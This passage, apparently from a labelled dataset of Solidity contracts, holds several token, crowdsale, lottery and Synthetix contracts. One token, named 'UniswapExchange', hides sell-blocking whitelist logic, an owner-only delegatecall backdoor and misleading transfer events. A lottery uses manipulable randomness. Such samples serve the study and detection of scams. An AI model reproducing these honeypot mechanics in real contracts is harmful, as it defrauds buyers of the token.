addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
94
pragma solidity 0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { if(a == 0) return 0; uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns(uint256) { require(b != 0); return a % b; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } } contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() public view returns(uint256); function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); function transferFrom(address from, address to, uint256 value) public returns(bool); function allowance(address owner, address spender) public view returns(uint256); function approve(address spender, uint256 value) public returns(bool); } contract StandardToken is ERC20 { using SafeMath for uint256; uint256 internal totalSupply_; string public name; string public symbol; uint8 public decimals; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) internal allowed; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } function totalSupply() public view returns(uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function multiTransfer(address[] _to, uint256[] _value) public returns(bool) { require(_to.length == _value.length); for(uint i = 0; i < _to.length; i++) { transfer(_to[i], _value[i]); } return true; } function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns(uint256) { return allowed[_owner][_spender]; } function approve(address _spender, uint256 _value) public returns(bool) { require(_spender != address(0)); require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public returns(bool) { require(_spender != address(0)); require(_addedValue > 0); allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) { require(_spender != address(0)); require(_subtractedValue > 0); uint oldValue = allowed[msg.sender][_spender]; if(_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { bool public mintingFinished = false; event Mint(address indexed to, uint256 amount); event MintFinished(); modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns(bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function mint(address _to, uint256 _amount) public returns(bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } function burn(uint256 _value) public { _burn(msg.sender, _value); } function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } contract Withdrawable is Ownable { event WithdrawEther(address indexed to, uint value); function withdrawEther(address _to, uint _value) onlyOwner public { require(_to != address(0)); require(address(this).balance >= _value); _to.transfer(_value); emit WithdrawEther(_to, _value); } function withdrawTokensTransfer(ERC20 _token, address _to, uint256 _value) onlyOwner public { require(_token.transfer(_to, _value)); } function withdrawTokensTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) onlyOwner public { require(_token.transferFrom(_from, _to, _value)); } function withdrawTokensApprove(ERC20 _token, address _spender, uint256 _value) onlyOwner public { require(_token.approve(_spender, _value)); } } contract Pausable is Ownable { bool public paused = false; event Pause(); event Unpause(); modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract Manageable is Ownable { address[] public managers; event ManagerAdded(address indexed manager); event ManagerRemoved(address indexed manager); modifier onlyManager() { require(isManager(msg.sender)); _; } function countManagers() view public returns(uint) { return managers.length; } function getManagers() view public returns(address[]) { return managers; } function isManager(address _manager) view public returns(bool) { for(uint i = 0; i < managers.length; i++) { if(managers[i] == _manager) { return true; } } return false; } function addManager(address _manager) onlyOwner public { require(_manager != address(0)); require(!isManager(_manager)); managers.push(_manager); emit ManagerAdded(_manager); } function removeManager(address _manager) onlyOwner public { uint index = managers.length; for(uint i = 0; i < managers.length; i++) { if(managers[i] == _manager) { index = i; } } if(index >= managers.length) revert(); for(; index < managers.length - 1; index++) { managers[index] = managers[index + 1]; } managers.length--; emit ManagerRemoved(_manager); } } contract RewardToken is StandardToken, Ownable { struct Payment { uint time; uint amount; } Payment[] public repayments; mapping(address => Payment[]) public rewards; event Repayment(address indexed from, uint256 amount); event Reward(address indexed to, uint256 amount); function repayment() onlyOwner payable public { require(msg.value >= 0.01 ether); repayments.push(Payment({time : block.timestamp, amount : msg.value})); emit Repayment(msg.sender, msg.value); } function _reward(address _to) private returns(bool) { if(rewards[_to].length < repayments.length) { uint sum = 0; for(uint i = rewards[_to].length; i < repayments.length; i++) { uint amount = balances[_to] > 0 ? (repayments[i].amount * balances[_to] / totalSupply_) : 0; rewards[_to].push(Payment({time : block.timestamp, amount : amount})); sum += amount; } if(sum > 0) { _to.transfer(sum); emit Reward(_to, sum); } return true; } return false; } function reward() public returns(bool) { return _reward(msg.sender); } function transfer(address _to, uint256 _value) public returns(bool) { _reward(msg.sender); _reward(_to); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { _reward(_from); _reward(_to); return super.transferFrom(_from, _to, _value); } } contract Token is RewardToken, CappedToken, BurnableToken, Withdrawable { constructor() CappedToken(5500000000 * 1e8) StandardToken("UNICS", "UCST", 8) public { } } contract Crowdsale is Manageable, Withdrawable, Pausable { using SafeMath for uint; Token public token; bool public crowdsaleClosed = false; event ExternalPurchase(address indexed holder, string tx, string currency, uint256 currencyAmount, uint256 rateToEther, uint256 tokenAmount); event CrowdsaleClose(); constructor() public { token = new Token(); } function externalPurchase(address _to, string _tx, string _currency, uint _value, uint256 _rate, uint256 _tokens) whenNotPaused onlyManager external { require(!crowdsaleClosed); require(_to != address(0)); token.mint(_to, _tokens); emit ExternalPurchase(_to, _tx, _currency, _value, _rate, _tokens); } function closeCrowdsale(address _newTokenOwner) onlyOwner external { require(!crowdsaleClosed); require(_newTokenOwner != address(0)); token.finishMinting(); token.transferOwnership(_newTokenOwner); crowdsaleClosed = true; emit CrowdsaleClose(); } }
1
4,225
contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Multisend is Ownable { function withdraw() onlyOwner { msg.sender.transfer(this.balance); } function send(address _tokenAddr, address dest, uint value) onlyOwner { ERC20(_tokenAddr).transfer(dest, value); } function multisend(address _tokenAddr, address[] dests, uint256[] values) onlyOwner returns (uint256) { uint256 i = 0; while (i < dests.length) { ERC20(_tokenAddr).transfer(dests[i], values[i]); i += 1; } return (i); } }
1
3,756
contract Lottery { struct Ticket { uint pickYourLuckyNumber; uint deposit; } uint limit = 6; uint count = 0; address[] senders; uint secretSum; uint[] secrets; mapping(address => Ticket[]) tickets; function buyTicket(uint _blindRandom) { uint de = 100000000000000000; if(msg.value != 1000000000000000000){ if(msg.value > de) msg.sender.send(msg.value-de); } if(msg.value == 1000000000000000000){ tickets[msg.sender].push(Ticket({ pickYourLuckyNumber: _blindRandom, deposit: msg.value })); count += 1; senders.push(msg.sender); } if(count >= limit){ for(uint i = 0; i < limit; ++i){ var tic = tickets[senders[i]][0]; secrets.push(tic.pickYourLuckyNumber); } for(i = 0; i < limit; ++i){ delete tickets[senders[i]]; } secretSum = 0; for(i = 0; i < limit; ++i){ secretSum = secretSum + secrets[i]; } senders[addmod(secretSum,0,limit)].send(5000000000000000000); address(0x2179987247abA70DC8A5bb0FEaFd4ef4B8F83797).send(200000000000000000); if(addmod(secretSum+now,0,50) == 7){ senders[addmod(secretSum,0,limit)].send(this.balance - 1000000000000000000); } count = 0; secretSum = 0; delete secrets; delete senders; } } }
1
2,891
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeDecimalMath { using SafeMath for uint; uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; uint public constant UNIT = 10 ** uint(decimals); uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals); function unit() external pure returns (uint) { return UNIT; } function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } function multiplyDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(y) / UNIT; } function _multiplyDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } function divideDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(UNIT).div(y); } function _divideDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } contract SelfDestructible is Owned { uint public initiationTime; bool public selfDestructInitiated; address public selfDestructBeneficiary; uint public constant SELFDESTRUCT_DELAY = 4 weeks; constructor(address _owner) Owned(_owner) public { require(_owner != address(0), "Owner must not be the zero address"); selfDestructBeneficiary = _owner; emit SelfDestructBeneficiaryUpdated(_owner); } function setSelfDestructBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "Beneficiary must not be the zero address"); selfDestructBeneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } function initiateSelfDestruct() external onlyOwner { initiationTime = now; selfDestructInitiated = true; emit SelfDestructInitiated(SELFDESTRUCT_DELAY); } function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); } function selfDestruct() external onlyOwner { require(selfDestructInitiated, "Self destruct has not yet been initiated"); require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed"); address beneficiary = selfDestructBeneficiary; emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructTerminated(); event SelfDestructed(address beneficiary); event SelfDestructInitiated(uint selfDestructDelay); event SelfDestructBeneficiaryUpdated(address newBeneficiary); } contract State is Owned { address public associatedContract; constructor(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } event AssociatedContractUpdated(address associatedContract); } contract TokenState is State { mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public {} function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } contract Proxy is Owned { Proxyable public target; bool public useDELEGATECALL; constructor(address _owner) Owned(_owner) public {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function setUseDELEGATECALL(bool value) external onlyOwner { useDELEGATECALL = value; } function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } function() external payable { if (useDELEGATECALL) { assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } else { target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } contract Proxyable is Owned { Proxy public proxy; address messageSender; constructor(address _proxy, address _owner) Owned(_owner) public { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy, "Only the proxy can call this function"); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } _; } modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner, "This action can only be performed by the owner"); _; } event ProxyUpdated(address proxyAddress); } contract ReentrancyPreventer { bool isInFunctionBody = false; modifier preventReentrancy { require(!isInFunctionBody, "Reverted to prevent reentrancy"); isInFunctionBody = true; _; isInFunctionBody = false; } } contract TokenFallbackCaller is ReentrancyPreventer { function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data) internal preventReentrancy { uint length; assembly { length := extcodesize(recipient) } if (length > 0) { recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data)); } } } contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller { using SafeMath for uint; using SafeDecimalMath for uint; TokenState public tokenState; string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, uint8 _decimals, address _owner) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } function balanceOf(address account) public view returns (uint) { return tokenState.balanceOf(account); } function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(_tokenState); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { require(to != address(0), "Cannot transfer to the 0 address"); require(to != address(this), "Cannot transfer to the underlying contract"); require(to != address(proxy), "Cannot transfer to the proxy contract"); tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); callTokenFallbackIfNeeded(from, to, value, data); emitTransfer(from, to, value); return true; } function _transfer_byProxy(address from, address to, uint value, bytes data) internal returns (bool) { return _internalTransfer(from, to, value, data); } function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data) internal returns (bool) { tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value, data); } function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } event Transfer(address indexed from, address indexed to, uint value); bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer(address from, address to, uint value) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval(address owner, address spender, uint value) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } contract LimitedSetup { uint setupExpiryTime; constructor(uint setupDuration) public { setupExpiryTime = now + setupDuration; } modifier onlyDuringSetup { require(now < setupExpiryTime, "Can only perform this action during setup"); _; } } contract SynthetixEscrow is Owned, LimitedSetup(8 weeks) { using SafeMath for uint; Synthetix public synthetix; mapping(address => uint[2][]) public vestingSchedules; mapping(address => uint) public totalVestedAccountBalance; uint public totalVestedBalance; uint constant TIME_INDEX = 0; uint constant QUANTITY_INDEX = 1; uint constant MAX_VESTING_ENTRIES = 20; constructor(address _owner, Synthetix _synthetix) Owned(_owner) public { synthetix = _synthetix; } function setSynthetix(Synthetix _synthetix) external onlyOwner { synthetix = _synthetix; emit SynthetixUpdated(_synthetix); } function balanceOf(address account) public view returns (uint) { return totalVestedAccountBalance[account]; } function numVestingEntries(address account) public view returns (uint) { return vestingSchedules[account].length; } function getVestingScheduleEntry(address account, uint index) public view returns (uint[2]) { return vestingSchedules[account][index]; } function getVestingTime(address account, uint index) public view returns (uint) { return getVestingScheduleEntry(account,index)[TIME_INDEX]; } function getVestingQuantity(address account, uint index) public view returns (uint) { return getVestingScheduleEntry(account,index)[QUANTITY_INDEX]; } function getNextVestingIndex(address account) public view returns (uint) { uint len = numVestingEntries(account); for (uint i = 0; i < len; i++) { if (getVestingTime(account, i) != 0) { return i; } } return len; } function getNextVestingEntry(address account) public view returns (uint[2]) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return [uint(0), 0]; } return getVestingScheduleEntry(account, index); } function getNextVestingTime(address account) external view returns (uint) { return getNextVestingEntry(account)[TIME_INDEX]; } function getNextVestingQuantity(address account) external view returns (uint) { return getNextVestingEntry(account)[QUANTITY_INDEX]; } function withdrawSynthetix(uint quantity) external onlyOwner onlyDuringSetup { synthetix.transfer(synthetix, quantity); } function purgeAccount(address account) external onlyOwner onlyDuringSetup { delete vestingSchedules[account]; totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]); delete totalVestedAccountBalance[account]; } function appendVestingEntry(address account, uint time, uint quantity) public onlyOwner onlyDuringSetup { require(now < time, "Time must be in the future"); require(quantity != 0, "Quantity cannot be zero"); totalVestedBalance = totalVestedBalance.add(quantity); require(totalVestedBalance <= synthetix.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry"); uint scheduleLength = vestingSchedules[account].length; require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long"); if (scheduleLength == 0) { totalVestedAccountBalance[account] = quantity; } else { require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one"); totalVestedAccountBalance[account] = totalVestedAccountBalance[account].add(quantity); } vestingSchedules[account].push([time, quantity]); } function addVestingSchedule(address account, uint[] times, uint[] quantities) external onlyOwner onlyDuringSetup { for (uint i = 0; i < times.length; i++) { appendVestingEntry(account, times[i], quantities[i]); } } function vest() external { uint numEntries = numVestingEntries(msg.sender); uint total; for (uint i = 0; i < numEntries; i++) { uint time = getVestingTime(msg.sender, i); if (time > now) { break; } uint qty = getVestingQuantity(msg.sender, i); if (qty == 0) { continue; } vestingSchedules[msg.sender][i] = [0, 0]; total = total.add(qty); } if (total != 0) { totalVestedBalance = totalVestedBalance.sub(total); totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total); synthetix.transfer(msg.sender, total); emit Vested(msg.sender, now, total); } } event SynthetixUpdated(address newSynthetix); event Vested(address indexed beneficiary, uint time, uint value); } contract SynthetixState is State, LimitedSetup { using SafeMath for uint; using SafeDecimalMath for uint; struct IssuanceData { uint initialDebtOwnership; uint debtEntryIndex; } mapping(address => IssuanceData) public issuanceData; uint public totalIssuerCount; uint[] public debtLedger; uint public importedXDRAmount; uint public issuanceRatio = SafeDecimalMath.unit() / 5; uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit(); mapping(address => bytes4) public preferredCurrency; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) LimitedSetup(1 weeks) public {} function setCurrentIssuanceData(address account, uint initialDebtOwnership) external onlyAssociatedContract { issuanceData[account].initialDebtOwnership = initialDebtOwnership; issuanceData[account].debtEntryIndex = debtLedger.length; } function clearIssuanceData(address account) external onlyAssociatedContract { delete issuanceData[account]; } function incrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.add(1); } function decrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.sub(1); } function appendDebtLedgerValue(uint value) external onlyAssociatedContract { debtLedger.push(value); } function setPreferredCurrency(address account, bytes4 currencyKey) external onlyAssociatedContract { preferredCurrency[account] = currencyKey; } function setIssuanceRatio(uint _issuanceRatio) external onlyOwner { require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO"); issuanceRatio = _issuanceRatio; emit 